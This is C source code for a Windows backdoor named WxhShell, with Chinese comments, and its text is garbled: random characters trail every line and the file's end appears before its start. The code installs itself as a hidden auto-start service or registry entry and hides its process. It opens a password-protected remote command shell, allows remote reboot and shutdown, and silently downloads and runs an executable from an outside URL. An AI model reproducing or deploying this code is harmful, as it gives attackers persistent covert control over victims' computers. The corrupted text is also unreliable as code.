    if(Boot(SHUTDOWN)) \3q{E",\>@  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); m@JU).NKCS  
    else { !W:QLOe6F  
    closesocket(wsh); Rn{q/h  
    ExitThread(0); 2h&pm   
    } ;J\{r$q  
    break; BN4dr9T  
    } OxF\Hm)(  
  // 获取shell ZNB*Azi  
  case 's': { +2oZB]GPL  
    CmdShell(wsh); \Y9=d E}  
    closesocket(wsh); ^J>28Q\S  
    ExitThread(0); ~E^EF{h   
    break; gx[#@ (  
  } KHr8\qLH  
  // 退出 1jmhh !,  
  case 'x': { jTw s0=F*  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); wri[#D {  
    CloseIt(wsh); zJ9ZqC]  
    break; z!Kadqns  
    } hl~(&D1^  
  // 离开 ;$i9gP[|m  
  case 'q': { @ x*#7Y  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); tBBN62^ X  
    closesocket(wsh); (Xq eX(s  
    WSACleanup(); RqHxKj  
    exit(1); w]yLdfi!  
    break; !xo@i XL  
        } \)BKuIP  
  } @=wAk5[IN  
  } 54F([w  
8zj09T[  
  // 提示信息 l^`!:BOtR  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &s/aJgJhp  
} ?5mVC]W?]  
  } ^Hq}9OyS9  
kq%`9,XE  
  return; 6}NvVolr  
} GWE`'V  
hQGZrZK#  
// shell模块句柄 P >N\q  
int CmdShell(SOCKET sock) ;JL@V}L,  
{ aDZLabRu  
STARTUPINFO si; A#1y>k  
ZeroMemory(&si,sizeof(si)); iI&SI#; _  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; =As'vt 0  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; #UND'c(5  
PROCESS_INFORMATION ProcessInfo; <2cq 0*$  
char cmdline[]="cmd"; l}Xmm^@)  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); [JAd1%$3  
  return 0; xC;$/u%'  
} n; rOH[P  
F$ h/k^  
// 自身启动模式 McsqMI6  
int StartFromService(void) * n!0  
{ ^|sxbP  
typedef struct q=nMZVVlF(  
{ 7DYD+N+T  
  DWORD ExitStatus; h y[_  
  DWORD PebBaseAddress; DBmcvC  
  DWORD AffinityMask; 3al5Vu2:  
  DWORD BasePriority; j|aT`UH03  
  ULONG UniqueProcessId; }4 $EN  
  ULONG InheritedFromUniqueProcessId; -nk%He  
}   PROCESS_BASIC_INFORMATION; tb=L+WAIw  
D[-Ct  
PROCNTQSIP NtQueryInformationProcess; +H<%)Lk J  
T!a8c<'V  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; }p- %~ Y  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 5Rec}H  
RmNF]"3%  
  HANDLE             hProcess; vY;Lc   
  PROCESS_BASIC_INFORMATION pbi; JR<R8+@g_  
PPq*_Cf  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Cn`% *w  
  if(NULL == hInst ) return 0; 8dZH&G@;  
 zIAMM  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); O3BU.X1'%  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); t o?"{  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); hXr vb[6  
pP/o2  
  if (!NtQueryInformationProcess) return 0; #ASu SQ  
&0C!P=-p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i{e<kKh  
  if(!hProcess) return 0; (Iq\+@xE=  
33;|52$  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; &YMVoyVD  
Y-{spTI  
  CloseHandle(hProcess); WI~%n  
VmT5? i  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); ^X;>?_Bk  
if(hProcess==NULL) return 0; <%Rr-,  
Fh/C{cX9g  
HMODULE hMod; =H?Nb:s  
char procName[255]; G? _,(  
unsigned long cbNeeded; 5g5pzww  
,pG63&?j  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); hWW<]qzA,  
'Qfy+_0  
  CloseHandle(hProcess); y(z U:.  
@"EX%v.  
if(strstr(procName,"services")) return 1; // 以服务启动 ;yXnPAtJ  
<?7~,#AK  
  return 0; // 注册表启动 X'F$K!o*,:  
}  Uh8ieb  
Q$zlxn 7\  
// 主模块 $Yxy(7d7w  
int StartWxhshell(LPSTR lpCmdLine) d!X?R}  
{ ]s S oIT  
  SOCKET wsl; 2M1mdkP3  
BOOL val=TRUE; ky%%H;  
  int port=0; .R"L$V$RU.  
  struct sockaddr_in door; A&7jE:Ew  
`&6]P:_qp  
  if(wscfg.ws_autoins) Install(); puyL(ohem  
j w462h  
port=atoi(lpCmdLine); >k#aB.6  
{2Ibd i  
if(port<=0) port=wscfg.ws_port; ;5l|-&{@*  
x}[` -  
  WSADATA data; 6qDD_:F  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NNdS:(  
#e=^-yE  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   !58JK f  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); ~S6N'$^  
  door.sin_family = AF_INET; &ivIv[LV  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); eC39C2q\  
  door.sin_port = htons(port); =+L>^w#6=  
R{B~Now3  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { U,S286  
closesocket(wsl); p[GyQ2k)  
return 1; <am7t[G."  
} KAzRFX),  
TDGzXJf[  
  if(listen(wsl,2) == INVALID_SOCKET) { `ouzeu9}  
closesocket(wsl); [)u(\nfGX  
return 1; F{+`F<r  
} OR9){qP  
  Wxhshell(wsl); $F%?l\7j  
  WSACleanup(); ,m8*uCf  
"F}Ip&]hAG  
return 0; `QF|> N  
gD\}CxtG  
} DIAP2LR ?  
7q=0]Hrg(D  
// 以NT服务方式启动 ]>o2P cb;  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 3Cl9,Z"&6$  
{ Uf<vw3  
DWORD   status = 0; 8(;i~f:bCW  
  DWORD   specificError = 0xfffffff; 9 JtG&^*  
OXB-.<  
  serviceStatus.dwServiceType     = SERVICE_WIN32; !/zj7z !  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; jFv<]D%A[  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; Uy:.m  
  serviceStatus.dwWin32ExitCode     = 0; ?0a 0 R  
  serviceStatus.dwServiceSpecificExitCode = 0; hdL2`5RFF  
  serviceStatus.dwCheckPoint       = 0; MO/N*4U2  
  serviceStatus.dwWaitHint       = 0; n}?G!ySg  
7A6sSfPUy  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); B$Z!E%a;  
  if (hServiceStatusHandle==0) return; -*2X YTe  
LNE[c  
status = GetLastError(); xTZ5q*Hqx  
  if (status!=NO_ERROR) uSJP"Lw  
{ nE;gM1I  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; QR'g*Bro  
    serviceStatus.dwCheckPoint       = 0; kDh(~nfj  
    serviceStatus.dwWaitHint       = 0; +GS=zNw#  
    serviceStatus.dwWin32ExitCode     = status; ;gnr\C*G  
    serviceStatus.dwServiceSpecificExitCode = specificError; W!X]t)Ow  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c,wU?8Nc|$  
    return; Sq,ty{j2%  
  } Qg!*=<b  
zY+Et.lg]^  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; 3(&F.&C$$  
  serviceStatus.dwCheckPoint       = 0; EYG E#C; d  
  serviceStatus.dwWaitHint       = 0; M(uB ;Te  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 9a%@j ]  
} nW_  
~2431<YV  
// 处理NT服务事件,比如:启动、停止 PEIr-qs%D  
VOID WINAPI NTServiceHandler(DWORD fdwControl) dDbC0} x/  
{ eb\`)MI/  
switch(fdwControl) <GRf%zJ  
{ 9A(K_d-!H  
case SERVICE_CONTROL_STOP: +GU16+w~E  
  serviceStatus.dwWin32ExitCode = 0; \k_3IP?o=  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; !ei20@  
  serviceStatus.dwCheckPoint   = 0; fZ fiiE~7J  
  serviceStatus.dwWaitHint     = 0; M3 u8NRd5|  
  { %U7f9  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 4/WCs$  
  } QB,ad   
  return; 2v1&%x:y#  
case SERVICE_CONTROL_PAUSE: 8-ssiiJ}gh  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; *XO KH+_u  
  break; MlE~ gCD  
case SERVICE_CONTROL_CONTINUE: h';v'"DoW`  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; e&4u^'+K  
  break; nn:pf1  
case SERVICE_CONTROL_INTERROGATE: dRa<,@1"  
  break; gDNW~?/  
}; 66^t[[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ^)l@7XxD  
} 63Yu05'  
qXGLv4c`Q  
// 标准应用程序主函数 )\Q|}JV  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ~|C1$.-  
{ {~g  
,z )NKt#  
// 获取操作系统版本 ss8v4@C  
OsIsNt=GetOsVer(); #!,`EU  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 86F+N_>Z  
12xP)*:$  
  // 从命令行安装 >8O=^7  
  if(strpbrk(lpCmdLine,"iI")) Install(); Bqlc+d:  
\Pmk`^T  
  // 下载执行文件 _Pi:TxY   
if(wscfg.ws_downexe) { N|2  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) B1#>$"_0}=  
  WinExec(wscfg.ws_filenam,SW_HIDE); >C&<dO#i  
} M~F2cX W  
$ _Bu,;  
if(!OsIsNt) { / i2-h  
// 如果时win9x,隐藏进程并且设置为注册表启动 u>6/_^iq  
HideProc(); F5[ITK]A4  
StartWxhshell(lpCmdLine); ^>{;9 lo<  
} VDjIs UUX  
else +/86w59  
  if(StartFromService()) 1|w:xG^  
  // 以服务方式启动 %E7.$Gj%  
  StartServiceCtrlDispatcher(DispatchTable); z2V8NUn  
else rOr1H!  
  // 普通方式启动 = S8>  
  StartWxhshell(lpCmdLine); 6_K#,_oZ  
aEdJri  
return 0; >/kG5]zxY  
} kdPm # $-  
w!w _`7[  
6FIoWG"x  
P\6T4s  
=========================================== ^GaPpm  
~.`r(  
Ny7=-]N4{"  
nL 07^6(  
[mzF)/[_2  
Le:mMd= G  
" qq3Qd,$Z  
U]EuDNkO{  
#include <stdio.h> O[p^lr(B7  
#include <string.h> 0+y~RTAVB  
#include <windows.h>  ,bp pM  
#include <winsock2.h> L8xprHgL  
#include <winsvc.h> Zi@+T  
#include <urlmon.h>  Is6 _  
l@/kPEh  
#pragma comment (lib, "Ws2_32.lib") y{I[}$k  
#pragma comment (lib, "urlmon.lib") 8 E+C:"  
8Pr7aT:,  
#define MAX_USER   100 // 最大客户端连接数 #L= eK8^e  
#define BUF_SOCK   200 // sock buffer [d~bZS|(T(  
#define KEY_BUFF   255 // 输入 buffer (Cd{#j<  
z "$d5XR  
#define REBOOT     0   // 重启 }d\Tk(W  
#define SHUTDOWN   1   // 关机 f3>6:(  
v:Z4z6M-  
#define DEF_PORT   5000 // 监听端口 N?{1'=Om  
rjQhU%zv  
#define REG_LEN     16   // 注册表键长度 (s@tU>4U  
#define SVC_LEN     80   // NT服务名长度 ! }?jCpp  
RHl=$Hm.%  
// 从dll定义API v;}`?@G  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); -@V"i~g<e  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); FO>(QLlH  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); mS~ ]I$  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); UK_aqB  
DcR}pQ(e  
// wxhshell配置信息 5h=TV  
struct WSCFG { =<zSF\Zr_  
  int ws_port;         // 监听端口 C"^hMsU8  
  char ws_passstr[REG_LEN]; // 口令 X8SRQO^  
  int ws_autoins;       // 安装标记, 1=yes 0=no qM!f   
  char ws_regname[REG_LEN]; // 注册表键名 xm,`4WdG  
  char ws_svcname[REG_LEN]; // 服务名 V;hwAQbF  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 eGSp(o56  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 Z*9]:dG:!  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :Ip:sRz  
int ws_downexe;       // 下载执行标记, 1=yes 0=no jM1%6  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 1LId_vJtJ  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 m_Ac/ct f  
FJ(B]n[>  
}; oYh<k  
?7nr\g"g(  
// default Wxhshell configuration .i&ZT}v3  
struct WSCFG wscfg={DEF_PORT, $K_YC~  
    "xuhuanlingzhe", |~b R.IA  
    1, DMcxa.Sd!  
    "Wxhshell", W aGcoj  
    "Wxhshell", X})Imk7&E  
            "WxhShell Service", .F$|j1y  
    "Wrsky Windows CmdShell Service", H~dHVQtJZ  
    "Please Input Your Password: ", Sa1z,EP  
  1,  e_~fJ  
  "http://www.wrsky.com/wxhshell.exe", >AzWM .r  
  "Wxhshell.exe" 7}cDGdr  
    }; y-\A@jJC5  
<k\H`P  
// 消息定义模块 Ph+X{|  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; z(` }:t  
char *msg_ws_prompt="\n\r? for help\n\r#>"; bA<AG*  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :EmQ_?(^  
char *msg_ws_ext="\n\rExit."; (YYj3#|  
char *msg_ws_end="\n\rQuit."; 8lWH=kA\  
char *msg_ws_boot="\n\rReboot..."; {`H<=h__  
char *msg_ws_poff="\n\rShutdown..."; M9s43XL(&  
char *msg_ws_down="\n\rSave to "; I' ! r  
4OOn,09  
char *msg_ws_err="\n\rErr!"; T4~`e_  
char *msg_ws_ok="\n\rOK!"; m UWkb  
hP1 l v7P  
char ExeFile[MAX_PATH]; B?#kW!wj  
int nUser = 0; bKuj po6  
HANDLE handles[MAX_USER]; I!@s6tG  
int OsIsNt; "\/^/vn?  
_))I.c=v  
SERVICE_STATUS       serviceStatus; Gh2Q$w:  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; @ <OO  
H\| ]!8w5Z  
// 函数声明 V'"I9R'1  
int Install(void); K/2.1o;9  
int Uninstall(void); MZ5Y\-nq\  
int DownloadFile(char *sURL, SOCKET wsh); 6 tc:A5mK  
int Boot(int flag); S~k*r{?H})  
void HideProc(void); 6hM]%  
int GetOsVer(void); sp=OT-Pfp  
int Wxhshell(SOCKET wsl); !0ce kSesr  
void TalkWithClient(void *cs); Y8%0;!T  
int CmdShell(SOCKET sock); |/;U)M  
int StartFromService(void); Lvi[*une|  
int StartWxhshell(LPSTR lpCmdLine); 1^L`)Up  
ZMoJ#p(  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^KkRF":  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8VP"ydg-U  
?L@@;tt  
// 数据结构和表定义 WDE e$k4.  
SERVICE_TABLE_ENTRY DispatchTable[] = !.3R~0b  
{ % Cu.u)/+  
{wscfg.ws_svcname, NTServiceMain}, @n7t?9Bx  
{NULL, NULL} L\}Pzxn  
}; ]am~aJ|L  
6X7s 4  
// 自我安装 g5[D&  
int Install(void) I(]BMMj  
{ T~%H%O(F  
  char svExeFile[MAX_PATH]; sn-)(XU!  
  HKEY key; $T?*0"Mj[  
  strcpy(svExeFile,ExeFile); jow7t\wk  
OGJ=VQA  
// 如果是win9x系统,修改注册表设为自启动 Y5ogi )  
if(!OsIsNt) { iW|s|1mh3  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ge0's+E+1  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); E &7@#'l  
  RegCloseKey(key);  c6Lif)4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { Q !9HA[Ly  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 'lhP!E_)q  
  RegCloseKey(key); M[aT2A  
  return 0; 7L=T]W  
    } Ys-Keyg  
  } >1x7UXs~:  
} )Fqy%uR8  
else { r8uqcKfU  
JbE?a[Eg?  
// 如果是NT以上系统,安装为系统服务 E-~mOYea  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); iOT)0@f'  
if (schSCManager!=0) [J0*+C9P*  
{ ^ <qrM  
  SC_HANDLE schService = CreateService CQdBf3q  
  ( E'5Ajtw;  
  schSCManager, UvkJ?Bu  
  wscfg.ws_svcname, 1GtOA3,~;-  
  wscfg.ws_svcdisp, 07x=`7hs}  
  SERVICE_ALL_ACCESS, j$@?62)6  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , h|bqyu  
  SERVICE_AUTO_START, ,>;!%Ui/p  
  SERVICE_ERROR_NORMAL, %O#)Nq>mp  
  svExeFile, HWqLcQ d:P  
  NULL, [tUv*jw%  
  NULL, AG]W O8f)  
  NULL, ZCm1+Y$  
  NULL, 31~hlp;  
  NULL wms1IV%;  
  ); 2~f6~\4GL+  
  if (schService!=0) I[#U`9Dt  
  { 9Z&?R++?  
  CloseServiceHandle(schService); /ZHO>LNN|  
  CloseServiceHandle(schSCManager); ||uZ bP@  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); h4f ~5- Y  
  strcat(svExeFile,wscfg.ws_svcname); ZP"yq6!i  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { ]Ap`   
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); !#q{Z>H`  
  RegCloseKey(key); hM~eJv  
  return 0; ><[| G9  
    } U.: sK*  
  } Aj,]n>{  
  CloseServiceHandle(schSCManager); ],n%Xp  
} a`#S|'oatC  
} 0pD W _  
1h2H1gy5I3  
return 1; Qh\YR\O  
} *|mz_cKu  
|U#DUqw  
// 自我卸载 9Uk(0A  
int Uninstall(void) /I`3dWL  
{ ;Xqn-R  
  HKEY key; d7* CwY9"  
Yi 6Nw+$  
if(!OsIsNt) { Rho5s@N7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { @0$}? 2  
  RegDeleteValue(key,wscfg.ws_regname); C` pp  
  RegCloseKey(key); O@s{uZ|A6  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { h1# S+k  
  RegDeleteValue(key,wscfg.ws_regname); 5.w iTy  
  RegCloseKey(key); lr WLN  
  return 0; 3 4SA~5  
  } [g#s&bF  
} sxo;/~.p  
} + 3h`UF  
else { "%VbI P  
V] rhVMA  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); +P|2m"UA  
if (schSCManager!=0) \^LWCp,C"  
{ r@iASITX  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); X(]Zr  
  if (schService!=0) [B,'=,Hbs  
  { }qAVN  
  if(DeleteService(schService)!=0) { L1wZU,o  
  CloseServiceHandle(schService); P.c O6+jGR  
  CloseServiceHandle(schSCManager); H'EY)s Hi  
  return 0; ZRnL_ z~  
  } pYt/378w  
  CloseServiceHandle(schService); QQFf5^  
  } vf<UBa;Xm  
  CloseServiceHandle(schSCManager); M ?*Tf&  
} 34ha26\np  
} vI Vr@1S  
9x? B5Ap[  
return 1; }p=g*Zo*C;  
} MAnp{  
Q[uAIyv0  
// 从指定url下载文件 77*qkKr  
int DownloadFile(char *sURL, SOCKET wsh) cx{T '1  
{ D{cZxI  
  HRESULT hr; # ORO&78  
char seps[]= "/"; OEnDsIhq  
char *token; W5.Va.  
char *file; dAL3.%  
char myURL[MAX_PATH]; ! RPb|1Y}+  
char myFILE[MAX_PATH]; 9${Xer'  
n_P3\Y|  
strcpy(myURL,sURL); qaG#;  
  token=strtok(myURL,seps); %H& ].47  
  while(token!=NULL) V@%  
  { \gItZ}+c4}  
    file=token; E"#Xc@  
  token=strtok(NULL,seps); .%'Z~|K4  
  } 4PWAGuN^  
@A{m5h  
GetCurrentDirectory(MAX_PATH,myFILE); K'aWCscM  
strcat(myFILE, "\\"); gRAC d&)  
strcat(myFILE, file); ` H XEZ|  
  send(wsh,myFILE,strlen(myFILE),0); e3 v5,.  
send(wsh,"...",3,0); vc8?I."?  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);  W8]V  
  if(hr==S_OK) 3?.1n Gu  
return 0; s]H^wrg&  
else xx }GOY.J  
return 1; G 4qy*.  
fxgU~'  
} \G>ZkgU  
iY~rne"l  
// 系统电源模块 O4L#jBa+  
int Boot(int flag) lZW K2  
{ ]Bnwk o  
  HANDLE hToken; ,a0pAj  
  TOKEN_PRIVILEGES tkp; ;Lo&}U3F,!  
HI`q1m.  
  if(OsIsNt) { _1L(7|^~y[  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); so+4B1$)q  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); >$H|:{D  
    tkp.PrivilegeCount = 1; `#Kx|x6  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; ^aF8wbuZ  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); \?Mf_  
if(flag==REBOOT) { [h&BAR/ 2  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) c*;7yh&%  
  return 0; c0ez/q1S  
} v+=k-;-  
else { <&<,l58[c  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) }$kQs!#  
  return 0; Puh$%;x  
} `uo, __y  
  } ;AIc?Cg  
  else { y&oNv xG-  
if(flag==REBOOT) { sbo^"&%w  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) WR#0<cz(  
  return 0; PB53myDQ  
} TWd;EnNM  
else { g=l:cVr8y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) XiQkrZ  
  return 0; QTmZ( >z  
} ,=BLnsg  
} !kL> ,O>/  
< g|Z}Y  
return 1; 2p!"p`b~  
} W^\d^)  
`t (D!  
// win9x进程隐藏模块 JOb MZA$  
void HideProc(void) }BJX/, H,  
{ X!tf#tl  
wRtZ `o  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P0Z! ?`e=M  
  if ( hKernel != NULL ) Zy0aJN>  
  { +4qU>  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); L}sx<=8.m  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); g{:<2xI5P  
    FreeLibrary(hKernel); RJ4. kt  
  } PRB{VC<k  
wy,p&g)>  
return; IQH[Q9%  
} bb-qO#E  
g(ogXA1  
// 获取操作系统版本 v [njdP  
int GetOsVer(void) e]Fp=*#  
{ wJ+Aw  
  OSVERSIONINFO winfo; Ysi  g T  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); -JT/ 9IQ  
  GetVersionEx(&winfo); 'h1b1,b~  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) T=Z.TG|lIx  
  return 1; XfYC7-e9c  
  else j&R+2%  
  return 0; ArK]0$T   
} I?Aj.{{$G%  
)C%N]9FvY  
// 客户端句柄模块 -&2B@]]  
int Wxhshell(SOCKET wsl) sOU_j:A80;  
{ [I;^^#'P  
  SOCKET wsh; 5W? v'"  
  struct sockaddr_in client; ,*I@  
  DWORD myID; kAA>FI6  
H%F>@(U  
  while(nUser<MAX_USER) :G5uocVk  
{ \e3`/D  
  int nSize=sizeof(client); ^:=f^N=^  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); %G3(,Qz  
  if(wsh==INVALID_SOCKET) return 1; je/!{(  
O,@~L$a:YZ  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); I=DxRgt  
if(handles[nUser]==0) 7q =G&e7  
  closesocket(wsh); @A<PkpNL  
else tw=oH9c80  
  nUser++; g\SrO {*  
  } ,XkGe   
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 5ETip'<KT6  
@`36ku  
  return 0; 4qi[r)G  
} [K/m  
;)AfB#:d  
// 关闭 socket 0\9K3  
void CloseIt(SOCKET wsh) o=J9  
{ }J:+{4Yn  
closesocket(wsh); DL'iS  
nUser--; 8flOq"uK^  
ExitThread(0); [U@; \V$  
} _ *f  
v *-0M  
// 客户端请求句柄 @%ip7Y]e  
void TalkWithClient(void *cs) RoGwK*j0+  
{ W,^W^:m-x  
-_ C#wtC  
  SOCKET wsh=(SOCKET)cs; G q<X4C#|  
  char pwd[SVC_LEN]; D]G)j  
  char cmd[KEY_BUFF]; ao_4mSB  
char chr[1]; jnB~sbyA  
int i,j; KJ2Pb"s  
WI> P-D  
  while (nUser < MAX_USER) { `o]g~AKX  
#|GSQJ$F)`  
if(wscfg.ws_passstr) { e=vsuqGT  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); q#w8wH"  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); gKz(=  
  //ZeroMemory(pwd,KEY_BUFF); $d S@y+  
      i=0; zq+o+o>xo  
  while(i<SVC_LEN) { u9+kLepOT  
5irwz4.4  
  // 设置超时 FGWN}&K  
  fd_set FdRead; 94sk kEj  
  struct timeval TimeOut; CI U1R;  
  FD_ZERO(&FdRead); (" ~ DJ=  
  FD_SET(wsh,&FdRead); 4(6b(]G'#  
  TimeOut.tv_sec=8; P O :"B6  
  TimeOut.tv_usec=0; W14F  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ,GWNL m\5  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); k3?rp`V1  
mE`kjmX{E  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); RlT3Iz;  
  pwd=chr[0]; ML;*e"$  
  if(chr[0]==0xd || chr[0]==0xa) { OU5*9_7.  
  pwd=0; ,)PiP/3B  
  break; jHN +5=l  
  } -HSs^dP`  
  i++; 3pf[M{dG  
    } l3Njq^T  
y[B>~m8$  
  // 如果是非法用户,关闭 socket HK\~Qnq  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); ~'37`)]z  
} =K'cM=WM6  
# mize  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); {7TlN.(  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); -7J|l  
^7zu<lX  
while(1) { }Sy=My89r  
n  -(  
  ZeroMemory(cmd,KEY_BUFF); Hbv6_H  
kKC9{^%)  
      // 自动支持客户端 telnet标准   T91moRv  
  j=0; K\"R&{+=  
  while(j<KEY_BUFF) { u:0aM}9A  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); lL1k.& |5m  
  cmd[j]=chr[0]; pym!U@$t  
  if(chr[0]==0xa || chr[0]==0xd) { F}Vr:~  
  cmd[j]=0; `Al;vVMRO  
  break; ctE\ q  
  } uqz]J$  
  j++; }D+}DPL{^  
    } X7k.zlH7T  
iq( )8nxi  
  // 下载文件 `al<(FwGE  
  if(strstr(cmd,"http://")) { >pUtwIP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); =UyLk-P w  
  if(DownloadFile(cmd,wsh)) jw-0M1B  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); PkI:*\R  
  else 87hq{tTs]  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); &0f5:M{P  
  } l;o1 d-n]  
  else { Ua!aaq&  
6@DF  
    switch(cmd[0]) { /Q,mJ.CnSR  
  J:V?EE,\-  
  // 帮助 jy-{~xdg[  
  case '?': { >/|q:b^2r  
